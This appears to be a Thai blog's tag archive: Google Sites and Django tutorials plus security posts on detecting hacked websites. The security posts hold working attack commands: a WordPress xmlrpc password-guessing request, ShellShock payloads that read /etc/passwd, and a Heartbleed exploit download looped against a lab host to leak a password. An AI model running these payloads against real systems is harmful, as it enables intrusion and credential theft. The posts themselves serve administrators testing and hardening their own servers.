Tag: web

  • มาลองสร้าง Website ด้วย Google Site แบบง่ายๆกันดีกว่า

    ใครจะไปคิดว่าการสร้าง Website จาก Google Site จะง่ายขนาดนี้ ถ้าอยากรู้ว่าต้องเริ่มยังไงมาดูกันเลย

    ขั้นตอนที่ 1. เริ่มจากไปที่ https://sites.google.com จะมี Template ให้เลือกใช้หรือ จะสร้างหน้า Website ขึ้นมาเองก็ได้นะ มาลองดูกันเลย

    ในตัวอย่างนี้ ได้เลือกใช้ Template ที่ชื่อว่า “โครงการ” มาสร้าง Website

    ขั้นตอนที่ 2. หลังจากที่เราได้โครงสร้างของ Website ของเรามาแล้ว เราต้องทำการตั้งชื่อ Website ของเราก่อน โดยสามารถเปลี่ยนชื่อได้จากรูปเอกสารมุมซ้ายบน

    นอกจากการเปลี่ยนชื่อ Website แล้วนั้น เรายังสามารถเปลี่ยนโลโก้ได้อีกด้วย

    แต่ข้อสำคัญของการจะเผยแพร่ / publish Website ของคุณนั้น ต้องมีหน้า Website 2 หน้าขึ้นไป

    ขั้นตอนที่ 3. หลังจากที่เราแก้ไขชื่อ และโลโก้ แล้วเรายังสามารถปรับแก้ไขเนื้อหาที่เราต้องการจะมานำเสนอ หรือเพิ่มลงบน Website ได้เองอีกด้วย โดยใช้เครื่องมือทางด้านขวามือที่ Google Site ได้มีไว้ให้

    ลากสิ่งที่ต้องการใช้มาวางในพื้นที่ที่ต้องการได้เลย

    ตัวอย่างการนำ “บล็อกเนื้อหา” มาวางบน Website

    ขั้นตอนที่ 4. หลังจากที่เราสร้างหน้า และใส่เนื้อหาที่ต้องการจะแสดงบน Website แล้ว เรายังสามารถสร้างหน้าเพิ่มเติมได้จากการเลือกเมนู “หน้าเว็บ” ทางด้านขวามือ

    แถบเมนูจะแสดงหน้า Website ทั้งหมดที่เรามีในตัว Website นี้ โดยการสร้างหน้าเว็บเพิ่มสามารถกดได้จาก ปุ่ม + ที่มุมด้านล่าง

    ความพิเศษของ Google Site คือ ตัวช่วยเหล่านี้ เราสามารถสร้างหน้าใหม่ได้ถ้าเกิดต้องการจะวางโครงหน้า เนื้อหน้าให้เหมือนหน้าอื่น โดยกดที่ “ทำซ้ำหน้าเว็บ” จากหน้าที่เราต้องการจะให้เป็นต้นแบบ

    ขั้นตอนที่ 5. การกำหนดแถบเมนู ต้องการจะให้แสดงด้านบน หรือต้องการให้แสดงด้านข้างสามารถจัดได้โดยการที่ กดที่รูปฟันเฟือง หรือการตั้งค่าดังรูป

    สามารถตั้งค่าได้ที่คำสั่ง “โหมด” ว่าต้องการจะให้อยู่ด้านบน หรือด้านข้าง นอกจากนั้นยังสามารถกำหนดสีแถบเมนูได้อีกด้วยนะ

    ตัวอย่างเมนูที่อยู่ข้างบน

    ตัวอย่างเมนูที่อยู่ด้านข้าง

    และในที่สุด เราก็มาถึงขั้นตอนสุดท้ายที่สำคัญที่สุดคือการเผยแพร่ Website เพียงแค่คุณ กด เผยแพร่/Publish หากคุณมี Domain เป็นของตัวเองสามารถนำมาใช้ได้เลย

    ถ้าหากชื่อที่คุณต้องการตั้งซ้ำกับคนอื่น จะมีขึ้นแจ้งเตือนให้คุณเปลี่ยน หากเสร็จสิ้นแล้วกดเผยแพร่ได้เลย

    จบกันแล้วการสร้าง Website ไม่ได้อยากเหมือนที่คิดใช่ไหม ขอบคุณทุกคนที่เข้ามาอ่านนะคะ

  • django – Deploy to Production #02

    ต่อจาก django #01

    Development Environment

    เริ่มจาก ไปที่ command prompt แล้วใช้คำสั่งต่อไปนี้ เพื่อ เก็บรายละเอียดของ Package และ Version ที่ใช้ในการพัฒนา ไว้ในไฟล์ myenv.txt และ เก็บไฟล์ myproject ทั้งหมดไว้ในไฟล์ myproject.tar.gz (บน Windows อาจจะใช้ 7zip สร้าง)

    pip freeze > myenv.txt
    tar -zxvf myproject.tar.gz myproject

    แล้ว Upload ไฟล์ myenv.txt และ myproject.tar.gz ขึ้นบน Projection Server

    Production Server

    ในที่นี้ ลองไปใช้ Google Compute Engine สร้าง Instance ขึ้นมา เป็น Ubuntu 18.04 และ ได้ Upload ไฟล์ myenv.txt และ myproject.tar.gz จาก Development ขึ้นไว้แล้ว (ใน /home/user01)

    ติดตั้ง Python3, PIP, Apache2, และ mod_wsgi

    sudo apt update
    sudo apt install python3 python3-pip apache2 libapache2-mod-wsgi-py3

    ติดตั้ง virtualenv

    pip3 install virtualenv

    สร้าง Virtual Environment ชื่อ production

    virtualenv production
    source production/bin/activate

    ติดตั้ง Package ต่าง ๆ ตามที่สร้างไว้จาก Development Environment (จากไฟล์ myenv.txt)

    pip install -r myenv.txt

    แตกไฟล์ myproject.tar.gz ออกมา

    tar -zxvf myproject.tar.gz

    สร้าง Apache Site Configuration ที่ /etc/apache2/sites-available/001-myproject.conf

    เนื้อหาตามนี้

    <VirtualHost *:80>
        Alias /static /home/user01/myproject/static
        <Directory /home/user01/myproject/static>
            Require all granted
        </Directory>
        <Directory /home/user01/myproject/myproject>
            <Files wsgi.py>
                Require all granted
            </Files>
        </Directory>
    
        WSGIDaemonProcess myproject python-home=/home/user01/production python-path=/home/user01/myproject
        WSGIProcessGroup myproject
        WSGIScriptAlias / /home/user01/myproject/myproject/wsgi.py
    </VirtualHost>

    จากนั้น สร้าง Symbolic Link จาก /home/user01/production/lib/python3.6/site-packages/django/contrib/admin/static มาที่ /home/user01/myproject/static

    ln -s /home/user01/production/lib/python3.6/site-packages/django/contrib/admin/static /home/user01/myproject/static

    ปรับ Permission ให้ www-data สามารถแก้ไข Database ได้ (เพราะในที่นี้ใช้ SQLite)

    sudo chown :www-data /home/user01/myproject/db.sqlite3
    sudo chown :www-data /home/user01/myproject

    สั่ง Apache ให้เอา Default Site ออก และ นำ myproject ขึ้นแทน และ ทำการ Reload

    sudo a2dissite 000-default
    sudo a2ensite 001-myproject
    sudo systemctl reload apache2

    ก็จะใช้ได้แล้ว

    มีหน้า Admin ให้ใช้
    admin เข้าใช้งานได้
    User ก็สามารถเข้าใช้งานได้

    หวังว่าจะเป็นประโยชน์ครับ

  • django (ดี)จังโก้ ดีอย่างไร #01

    ขอไม่ลงรายละเอียดว่า อะไรคือ Web Framework, MVC, MVT พวกนั้นนะครับ อ่านเองที่ https://www.djangoproject.com/ และ เขียนวิธีติดตั้งบน Windows ไว้คร่าว ๆ ที่ ขั้นตอนการติดตั้ง django บน Windows และในที่นี้ใช้ Visual Studio Code เป็น Editor (สั่งด้วยคำสั่ง code …)

    โจทย์

    สมมุติในทีม มีคน 10 คน ต้องการ ระบบบันทึกการปฏิบัติงาน

    1. จัดเก็บข้อูล วันเวลาของงานที่ทำ, ประเภทของงงาน (ตาม TOR), รายละเอียดของงานที่ทำ, ระยะเวลาที่ใช้ไป (ชั่วโมง)
    2. แต่ละคน ต้อง Login เข้ามาก่อน จึงจะบันทึกปฏิบัติงานได้

    วิถีแบบ django

    สร้าง project ชื่อ myproject

    django-admin startproject myproject

    สร้าง App ชื่อ worklog

    cd myproject
    python manage.py startapp worklog

    สร้าง Model ว่าจะเก็บข้อมูลอะไรบ้าง

    แก้ไขไฟล์

    code worklog/models.py

    แล้วสร้าง Class ชื่อ Worklog เพื่อกำหนด Field เป็นช่องทางการเก็บค่าตามโจทย์ (Reference: https://docs.djangoproject.com/en/2.1/ref/models/fields/)
    –> ขั้นตอนนี้ เขียนใน Visual Studio Code เสร็จแล้ว Save and Exit

    from django.db import models
    from django.utils.timezone import now
    
    # Create your models here.
    class Worklog(models.Model):
        timestamp = models.DateTimeField(default = now())
        typeOfWork = models.ForeignKey('TypeOfWork', on_delete=models.CASCADE)
        work_text = models.TextField(default="")
        manhour = models.FloatField(default=0)
        def __str__(self):
            return self.work_text
    
    class TypeOfWork(models.Model):
        typeOfWork_text = models.CharField(max_length=200)
        def __str__(self):
            return self.typeOfWork_text

    บอกให้ django สร้างโครงสร้างฐานข้อมูลตามโมเดล (จาก Command Prompt)

    python manage.py migrate

    เพิ่ม App ‘worklog’ เข้าสู่ myproject

    แก้ไขไฟล์

    code myproject/settings.py

    เพิ่ม ‘worklog’ ในส่วนของ INSTALLED_APPS
    –> ขั้นตอนนี้ เขียนใน Visual Studio Code เสร็จแล้ว Save and Exit

    INSTALLED_APPS = [
        'django.contrib.admin',
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'django.contrib.sessions',
        'django.contrib.messages',
        'django.contrib.staticfiles',
        'worklog'
    ]

    สร้าง Super User สักคนนึง

    python manage.py createsuperuser

    ตั้งชื่อว่า admin และ รหัสผ่านตามต้องการ

    เพิ่มโมเดล TypeOfWork และ WorkLog เข้าสู่หน้าของ Admin โดยการแก้ไขไฟล์
    –> ขั้นตอนนี้ เขียนใน Visual Studio Code เสร็จแล้ว Save and Exit

    code worklog/admin.py

    ดังนี้

    from django.contrib import admin
    
    # Register your models here.
    from .models import TypeOfWork, Worklog
    admin.site.register(TypeOfWork)
    admin.site.register(Worklog)

    สั่ง Run Server

    สั่งที่ Command Prompt

    python manage.py runserver

    แล้วเปิด Web Browser ไปที่
    http://127.0.0.1:8000/admin/

    ใส่ Login และ Password ของ admin ทั้งตั้งไว้ก่อนหน้านี้

    เริ่มต้นใช้งาน

    เพิ่มประเภทของงาน

    คลิก Type of works — django พยายามใส่ s ให้ด้วยอัตโนมัติ
    คลิกที่ปุ่ม ADD TYPE OF WORK
    เพิ่มประเภทของงาน วนไป
    เสร็จแล้วได้ผลประมาณนี้ อยากจะ Edit Delete ได้หมด

    เพิ่มบันทึกการปฏิบัติงาน

    คลิกที่ Add ในส่วนของ Worklogs

    มี Form สำหรับ Input ทันที

    สวยงาม ไม่ต้องทำอะไรเพิ่ม เลือก Type of works ได้ ช่องวันที่ เวลา ก็มี Widget ให้เรียบร้อย
    แก้ไขไป มี History ให้ด้วย

    จากนั้น ก็เพิ่มคนเข้าทีม ด้วยเมนู Users ได้

    ระบบ Security พร้อม

    User01 ตั้งค่าให้เป็น Worklog > Can Add Worklog
    ก็จะทำได้แค่เข้ามาบันทึกปฏิบัติงานเท่านั้น

    สรุป

    จะเห็นได้ว่า ด้วยการสร้างโมเดลเล็กน้อย django ก็สามารถสร้างระบบ User Entry ง่าย ๆ ที่มาพร้อม Security Features มากมายได้แล้ว ยังมีรายละเอียดอีกเยอะ โดยเฉพาะในส่วนของ View/Template ที่จะสร้าง User Input และการออกรายงานต่าง ๆ รวมถึง การสร้าง API และ RESTful API หรือ จะผูกกับ OAuth2 ก็ยังได้

    หวังว่าเป็นประโยชน์ครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #18

    ได้รับแจ้งจาก ThaiCERT ว่ามีเว็บไซต์ภายในโดเมนของมหาวิทยาลัย เผยแพร่ Code อันตราย ดังต่อไปนี้
    2559-08-01 14_13_24-[THAICERT.OR.TH #93507] แจ้งปัญหา พบโปรแกรมหรือซอร์สโค้ดที่ต้องสงสัยบนโดเมน psu.
    จึงเข้าทำการตรวจสอบในเครื่องเว็บเซิร์ฟเวอร์ดังกล่าว พบการวางไฟล์ Backdoor ไว้ดังที่อธิบายใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17 แล้ว

    แต่ที่เห็นผิดปรกติ ก็เป็นใน access.log ของ Apache ซึ่งพบว่า มีการเรียกใช้ xmlrpc.php เป็นจำนวนมาก ดังภาพ

    13838385_1246527315359434_1464114410_o

    จากการตรวจสอบ พบว่า xmlrpc.php เป็นช่องทางให้สามารถเรียกใช้ Function ต่างๆผ่านทาง HTTP และเป็นช่องทางให้ App ต่างๆสามารถติดต่อกับ WordPress ได้ แต่ก็เป็นช่องทางให้เกิดการเดารหัสผ่านจำนวนมากได้เช่นกัน (Brute Force Attack) โดยสามารถทดลอง ส่ง XML ที่มีโครงสร้าตามที่ API กำหนด เช่น wp.getUsersBlogs [1][2][3] สามารถดูจำนวน Blog ที่ User คนนั้นๆเขียนขึ้นมา แต่ ต้องระบุ username/password ซึ่งตรงนี้จะเป็นส่วนที่ทำให้เกิดการ Brute Force ได้ ด้วยคำสั่งต่อไปนี้ เป็นการเดารหัสผ่านไปยัง http://localhost/blog/xmlrpc.php


    echo "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value> <string>admin</string></value></param>  <param><value><string>password</string></value></param></params></methodCall>" | POST http://localhost/blog/xmlrpc.php

    หากสำเร็จ จะได้คำตอบมาอย่างนี้

    2559-08-01 15_14_21-Clipboard

    หากเป็น WordPress รุ่นต่ำกว่า 4.0 เปิดให้ใช้ system.multicall ซึ่งทำให้สามารถเดารหัสผ่านจำนวนมาก ใน 1 Request ทำให้ระบบตรวจจับได้ยาก ดังนั้น หากไม่จำเป็นต้องใช้ xmlrpc.php ก็สมควรปิดการใช้งานที่ระดับ Apache โดยสร้างไฟล์ /etc/apache2/conf-enabled/xmlrpc.conf มีข้อมูลเป็น


    <FileMatch "xmlrpc\.php$">
    Order Deny,Allow
    Deny from All
    </FileMatch>

    จากนั้น Restart Apache ก็สามารถปิดการทำงานได้
    Reference
    [1] http://www.hackingsec.in/2014/08/wordpress-xml-rpc-brute-force-attack.html#
    [2] http://blog.dewhurstsecurity.com/2012/12/11/introduction-to-the-wordpress-xml-rpc-api.html
    [3] https://codex.wordpress.org/XML-RPC_WordPress_API

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17

    ปัจจุบันพบว่า รูปแบบของ Backdoor เปลี่ยนไป จากเดิมเป็น Base64 ซึ่งสามารถตรวจจับได้จาก Pattern ของ eval และ base64_decode ไปเป็น การใช้ eval ร่วมกับการใช้เทคนิคที่เรียกว่า Obfuscate หรือ การทำให้ PHP Code ปรกติ แปลงไปเป็นรูปแบบที่ซับซ้อนยิ่งขึ้น ทำให้การตรวจสอบด้วยเทคนิคเดิมไม่เจอ

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2 แสดงให้เห็นรูปแบบเดิม ดังภาพ

    sample1

    sample2

    sample3

    จะเปลี่ยนมาเป็นแบบนี้

    2559-07-29 14_29_00-

    ดังนั้น อาจจะต้องปรับเปลี่ยนคำสั่งในการค้นหาเป็น


    find /var/www -name "*.php" -user www-data -type f | xargs grep GLOBAL

    แต่ก็พบว่า มีการซ่อน base64_decode ในรูปแบบนี้ก็มี

    2559-07-29 15_11_32-_new 5 - Notepad++ [Administrator]

    ถึงแม้จะเลี่ยงการใช้ base64_decode ตรงๆแต่ก็ยังต้องใช้ eval อยู่ดี ดังนั้น จึงต้องใช้คำสั่งต่อไปนี้ในการค้นหา


    find /var/www -name "*.php" -user www-data -type f | xargs grep eval > eval.txt

    ซึ่งอาจจะได้ไฟล์มาจำนวนมาก ทั้งทีใช่และไม่ใช่ Backdoor เก็บไว้ในไฟล์ eval.txt ดังภาพ

    2559-07-29 15_21_31-_new 6 - Notepad++ [Administrator]

    จึงต้องใช้วิธี แก้ไขไฟล์ eval.txt ดังกล่าว โดยลบบรรทัดที่ไม่ใช่ Backdoor ออก ให้เหลือแต่บรรทัดที่น่าสงสัยว่าจะเป็น Backdoor ไว้ แล้ว Save จากนั้นใช้คำสั่งต่อไปนี้เพื่อเก็บไฟล์ทั้งหมดไว้ก่อน ในไฟล์ suspect.tar.gz


    cut -d: -f1 eval.txt | xargs tar -zcvf suspect.tar.gz

    จากนั้น ทำ List ของไฟล์ที่ต้องเข้าตรวจสอบจริงๆ เก็บในไฟล์ชื่อ eval2.txt ด้วยคำสั่ง


    cut -d: -f1 eval.txt > eval2.txt

    แล้วจึงแก้ไขไฟล์ หรือ ลบทิ้งต่อไป

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16

    ShellShock หรือในอีกชื่อคือ Bashdoor (เลียนเสียง Backdoor) ซะงั้น เป็นช่องโหว่ใน Shell ที่ใช้กันทั่วไปในตระกูล *NIX ทั้ง UNIX, Linux รวมถึง Mac OS X[1] ด้วย โดยอาศัยความสามารถในการเขียน Function ใส่ใน Environment Variable ได้ โดยไม่มีการตรวจสอบข้อมูลที่แถมมาทำให้สามารถแทรกคำสั่งของระบบปฏิบัติการได้

    ช่องโหว่นี้เริ่มประกาศเป็น CVE-2014-6271[2] โดย Bash Shell ที่ได้รับผลกระทบเริ่มตั้งแต่รุ่น 1.14.0 ถึง 4.3 ย้อนกลับไปตั้งแต่ปี 1999 กันเลยทีเดียว !!  มีผลกระทบกับ CGI-base Web Server (ได้แก่ Apache), OpenSSH Server, DHCP Clients และ Qmail Server โดยเป็น Bug ตาม CWE 78[3] Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)

    วิธีตรวจสอบ Bash Version ใช้คำสั่ง

    bash --version

    หากพบว่า ต่ำกว่า 4.3 ก็ให้ลองคำสั่งต่อไปนี้

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ถ้าตอบมาว่า

    Vulnerable
    Hello World

    ก็แสดงว่า เป็นเครื่องนี้มีช่องโหว่ครับ

    อธิบายเพิ่มเติม

    1. คำสั่งในการสร้าง Environment Variable คือ

    env x=' … '

    โดยในที่นี้จะมีตัวแปร x เป็น Environment Variable

    2. ต่อมา ในตัวแปร x สามารถสร้าง Function ได้ ในรูปแบบ

    env x='() { :;};'

    ภายใน { } จะใส่คำสั่งอะไรก็ได้ แต่ในตัวอย่างนี้ เครื่องหมาย : มีความหมายเหมือนกับ true อะไรทำนองนั้น

    3. ปัญหาอยู่ตรงที่ว่า Bash Shell ที่มีปัญหา ไม่ได้ตรวจสอบว่า Environment Variable ที่สร้างแบบ Function นี้ สิ้นสุดแค่การสร้าง function ทำให้สามารถแทรกคำสั่งเพิ่มเติมได้ หลังเครื่องหมาย ;

    env x='() { :;}; echo Vulnerable'

    ลองใช้คำสั่ง

    env x='() { :;}; cat /etc/passwd'

    จะแสดงตัวแปร Environment Variable ทั้งหมด และพบตัวแปร x มีค่าเป็น function อยู่ แต่จะยังไม่มีอะไรเกิดขึ้น

    4. แต่เมื่อมีการเรียก Bash Shell ทำงาน ด้วยคำสั่ง

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ก็จะเป็นการเรียกคำสั่งในตัวแปร x ออกมาด้วยนั่นเอง

    กรณีผลกระทบของ DHCP Client คือ ถ้าเครื่อง DHCP Server ตัวอย่างเช่น dnsmasq[4] สามารถตั้งค่า dhcp-option-force ซึ่งจะส่งคำสั่งไปยัง DHCP Client ที่ใช้ Bash Shell ทำงานตามต้องการได้ เช่น

    dhcp-option-force=100,() { :; }; echo ‘You are going to be shocked..ShellShock !!!’>/tmp/

    ในส่วนของ Web Security หากติดตั้ง Apache [5]และใช้งาน CGI บนเครื่องที่มี Bash Shell ที่มีช่องโหว่นี้ ก็จะเกิดปัญหา โดยอาศัยตัวแปร Agent String วิธีการทดสอบมีดังนี้

    1. ที่เครื่องเว็บเซิร์ฟเวอร์ที่มี Apache และใช้งาน CGI มี test.cgi ง่ายๆดังนี้

    #!/bin/bash
     echo "Content-type: text/plain"
     echo
     echo
     echo "Hi"

    2. ถ้าเรียกผ่าน Web Server มี IP Address เป็น 192.168.56.101 และจะเรียก URL ของ CGI ดังนี้

    http://192.168.56.101/cgi-bin/test.cgi
    

    การเรียกผ่าน Web Browser ก็จะทำงานตามปรกติ

    3. แต่ถ้าใช้ wget ผ่านทาง command linet ไป โดยกำหนด option -U เพื่อบอกว่า Agent String ที่ติดต่อไปคืออะไร ก็จะสามารถแทรกคำสั่งเพิ่มเติมได้ เพราะ Apache CGI ใช้ Bash Shell ในการทำงานนี้ เช่นใช้คำสั่ง

    wget -U "() { :;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.56.101/cgi-bin/test.cgi

    คำสั่งนี้ จะติดต่อไปยัง Web Server โดยแทนที่จะบอกว่าติดต่อไปจาก Agent อะไรธรรมดาๆ ก็จะแทรก Shell เข้าไปด้วย โดยตัวอย่างนี้ จะได้ /etc/passwd ออกมา เก็บไว้ที่เครื่อง ชื่อไฟล์ test.cgi

    ดังนั้น รีบ Patch ซะ

    ขอให้โชคดี


    [1] “Shellshock (software bug) – Wikipedia, the free encyclopedia.” 2014. 20 Jan. 2015 <http://en.wikipedia.org/wiki/Shellshock_(software_bug)>

    [2] “CVE-2014-6271 – CVE Details.” 2014. 20 Jan. 2015 <http://www.cvedetails.com/cve/CVE-2014-6271/>

    [3] “CWE – CWE-78: Improper Neutralization of Special …” 2006. 20 Jan. 2015 <http://cwe.mitre.org/data/definitions/78.html>

    [4] “shellshock dhcp exploitation – Security StackExchange.” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation>

    [5] “What is a specific example of how the Shellshock Bash bug …” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #15

    เทคนิคนี้ ใช้ผ่าน Internet Information Services (IIS) Manager โดยการแก้ไข Request Filtering ในระดับ Web Server เลย โดยดำเนินการตามวิธีการต่อไปนี้

    1. เรียก Command ด้วย การกดปุ่ม Windows + R แล้ว พิมพ์ inetmgr แล้วกดปุ่ม Enter
    2. คลิกเว็บเซิร์ฟเวอร์ของเครื่องที่ต้องการใน Connection Tab (ตัวอย่างในภาพ คลิกที่ WUNCAWEBSEC)
    3. ต่อไป ภายใต้หัวข้อ IIS ให้ Double-Click ที่ Request Filtering
    4. คลิกที่ Rules tab
    5. เพิ่มกฏสำหรับ JCE Bot
      ซึ่ง ไม่ต้องการให้ PHP ทำงานภายใต้ URL ซึ่งมีข้อความว่า “images/stories”
      โดย ไปที่ Action ด้านขวามือ แล้ว คลิกที่ Add Filtering Rules …
      แล้วใส่ข้อมูลตามภาพ แล้วคลิกปุ่ม OK

    1. เพิ่มกฏสำหรับ Upload โฟลเดอร์
      ซึ่ง ไม่ต้องการให้ PHP ทำงานภายใต้ URL ซึ่งมีข้อความว่า “upload”
      โดย ไปที่ Action ด้านขวามือ แล้ว คลิกที่ Add Filtering Rules …
      แล้วใส่ข้อมูลตามภาพ แล้วคลิกปุ่ม OK
    2. ผลที่ได้ใน Rules tab

    ทดสอบผลการทำงาน

    สมมุติเดิมโดนวางไฟล์ Backdoor ไว้ที่

    http://localhost/corin/images/stories/backdoor.php

    แต่เมื่อตั้ง Rules ดังกล่าวแล้ว จะทำให้ Hacker ไม่สามารถเรียกใช้งาน PHP ที่วางไว้ใน images/stories ได้ โดยจะได้ Error เช่นนี้

    วิธีนี้มีข้อดีคือ สามารถป้องกันการใช้งาน PHP ใน images/stories (และใน upload โฟลเดอร์) แต่ยังสามารถเรียกไฟล์ภาพและไฟล์อื่นๆได้ตามปรกติ เช่น

    http://localhost/corin/images/stories/clownspin.gif

    ลองใช้งานดูครับ 😉

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #14

    นิยาม

    Heartbleed เป็นช่องโหว่ของระบบ OpenSSL เรียกว่าเป็นบั๊ก (Bug) ก็ว่าได้ ตั้งชื่อเลียนแบบการออกเสียงคำว่า Heartbeat ซึ่งเป็นการตรวจสอบว่ายัง Alive หรือไม่ โดยเป็นจุดเริ่มต้นของช่องโหว่นี้ ซึ่งจำกัดอยู่เฉพาะ OpenSSL version ตั้งแต่ 1.0.1 ถึง 1.0.1f และได้รับการแก้ไขตั้งแต่ 1.0.1g เป็นต้นมา รายละเอียดอ่านเพิ่มเติมจาก [1], [2], [3] ส่วนเครื่องใดใช้เก่ากว่า หรือ ใหม่กว่านี้ รอดครับ

    “OpenSSL 1.0.1 สร้างตั้งแต่ปี 2012 แต่ค้นพบปี 2013 และประกาศ CVE ปี 2014 ถามทาง NSA บอกว่า ‘เรารู้ตั้งนานแล้วแต่ไม่บอก เอ๊า คุณไม่รู้เหรอ?’ ปล่อยให้ทาง Google, Facebook, Yahoo ใช้งานกันต่อไป ตั้งแต่ 2012 ถึงตอนนี้ ไม่รู้ Password หลุดไปถึงไหนต่อไหนแล้ว ส่วนรอบนี้ Microsoft รอดไป” … คุณเกรียงไกร กล่าว (งุงิงุงิ)

    ดังนั้น ก็น่าคิดว่า ตั้งแต่ ปี 2012 เป็นต้นมา ถึง ปัจจุบัน ใครบ้างที่ใช้ Website ดังกล่าว และ ไม่เคยเปลี่ยนรหัสผ่านเลย … ก็ควรจะเปลี่ยนได้แล้วหล่ะครับ และควรจะใช้ 2-step Authentication ร่วมด้วย เพื่อความปลอดภัยครับ

    รู้เรา

    ก่อนอื่น ดูก่อนว่า เราใช้ OpenSSL เวอร์ชั่นที่มีช่องโหว่หรือไม่ ด้วยคำสั่ง

    openssl version

    ถ้าผลลัพท์เป็น

    OpenSSL 1.0.1c 10 May 2012

    หรืออะไรที่อยู่ระหว่าง 1.0.1, 1.0.1a ถึง 1.0.1f ก็แสดงว่า เครื่องนี้ เสี่ยงครับ นอกเหนือจากนั้น ไม่เข้าข่ายครับ ลองไปใช้คำสั่งนี้ดู

    รู้เขา

    มีคนเก่งๆ เขาทำสิ่งที่เรียกว่า Exploit หรือ เครื่องมือในการเจาะช่องโหว่ไว้แล้ว ในที่นี้จะใช้ของ Csaba Fitzl [4] พัฒนาด้วยภาษา python ซึ่งจุดเด่นคือ สามารถเลือก Port ที่จะโจมตีได้ และ สามารถโจมตี SSL/TLS ได้หลาย Version ในครั้งเดียว ต่อไปนี้ คือขั้นตอนการทดสอบช่องโหว่ แบบที่แฮ็คเกอร์ทำ

    1. เปิด Terminal ของ Linux แล้ว ดาวน์โหลดไฟล์ ด้วยคำสั่งนี้ (ซึ่งมี python ติดตั้งพร้อมใช้งาน)

    wget http://www.exploit-db.com/download/32764 -O hbtest.py

    2. ใช้คำสั่งต่อไปนี

    python hbtest.py localhost

    การทดสอบนี้ ทดสอบบนเครื่องนี้เท่านั้น และทำกับ HTTPS ที่พอร์ต 443 เท่านั้น ถ้าต้องการยิงพอร์ตอื่น ก็ใส่ -p 445 อะไรทำนองนั้นแทน

    ถ้าต้องการทดสอบเครื่องอื่นๆ ก็ใช้ ชื่อเครื่องนั้นๆ แทน localhost เท่าที่เข้าใจตอนนี้ ถ้าจะทดสอบเครื่องที่เป็น Web Hosting กล่าวคือ IP เดียว แต่มี Virtual Host ในนั้นจำนวนมาก ก็ต้องระบุเป็น URL ของเว็บไซต์ต่างๆ เพราะบางไซต์ ก็ไม่เปิดใช้งาน HTTPS ซึ่งก็จะไม่ได้รับผลกระทบอะไร

    ตัวอย่างการทดสอบ

    เครื่องเป้าหมายนี้ เป็น Ubuntu 12.04.2 LTS สมมุติชื่อเครื่อง victim.in.psu.ac.th

    และเครื่องที่ทำการโจมตี เป็น Virtualbox เป็น Linux Mint 14

    1. ตรวจสอบรุ่นของ OpenSSL ของเครื่อง victim.in.psu.ac.th ด้วยคำสั่ง

    openssl version

    ผลที่ได้คือ

    OpenSSL 1.0.1 14 Mar 2012

    บนเครื่อง victim.in.psu.ac.th นี้ Apache2 ซึ่งเปิดใช้ mod_ssl ด้วยคำสั่ง

    sudo a2enmod ssl

    และกำหนดให้ไซต์ default-ssl เปิดการใช้งาน HTTPS ด้วยคำสั่ง

    sudo a2ensite default-ssl

    แล้วรีสตาร์ท Apache ด้วยคำสั่ง

    sudo /etc/init.d/apache2 restart

    บนเครื่องนี้ ทำตัวอย่างหน้าจอ login.php และ ส่งผลไปให้ checklogin.php ซึ่งทำหน้าที่แค่แสดงผล “Just A Test” เท่านั้น

    ลอง เปิดเว็บเบราเซอร์ ไปที่ https://victim.in.psu.ac.th/login.php แล้วใส่ username และ password ตามใจชอบ เช่น

    Username: admin
    Password: 123456

    แล้วคลิกปุ่ม Submit จากนั้นเว็บจะแสดงข้อความ “Just A Test” เป็นอันสิ้นสุด

    2. บนเครื่องโจมตี ใช้คำสั่งต่อไปนี้ เพื่อดาวน์โหลด Exploit มา ด้วยคำสั่ง

    wget http://www.exploit-db.com/download/32764 -O hbtest.py

    จากนั้น ใช้คำสั่ง

    python hbtest.py victim.in.psu.ac.th

    ผลที่ได้ประมาณนี้

    สังเกตุบรรทัดสุดท้าย จะเห็นคำว่า “server is Vulnerable!” แสดงว่า เครื่องนี้ สามารถโจมตีด้วย Heartbleed ได้

    ต่อไป ใช้คำสั่งต่อไปนี้ เพื่อเก็บผลลัพธ์ ต่อเนื่อง โดยจะเก็บไว้ในไฟล์ /tmp/result.txt โดยจะเรียก hbtest.py แล้ว หยุด (sleep)  1 วินาที ดังนี้

    while true; do python hbtest.py victime.in.psu.ac.th >> /tmp/result.txt ; sleep 1 ; done

    ปล่อยให้คำสั่งนี้ทำงานสักพัก (ลองดูสัก 10 วินาทีก็ได้) แล้ว กดปุ่ม Ctrl+c จากนั้น ลองดูผลการทำงาน ด้วยคำสั่ง

    less /tmp/result.txt

    เพื่อค้นหาคำว่า admin ลองกดคำสั่งต่อไปนี้ ที่เครื่องหมาย :

    /admin

    จากนั้น กดปุ่ม Enter

    ผลลัพธ์ ประมาณนี้

    จะเห็นได้ว่า สามารถมองเห็นรหัสผ่าน 123456 ได้ทันที !

    ลองเอาไปทำกันดูครับ เพื่อทดสอบเครื่องในความดูแลว่า ถูกโจมตีได้หรือไม่ครับ

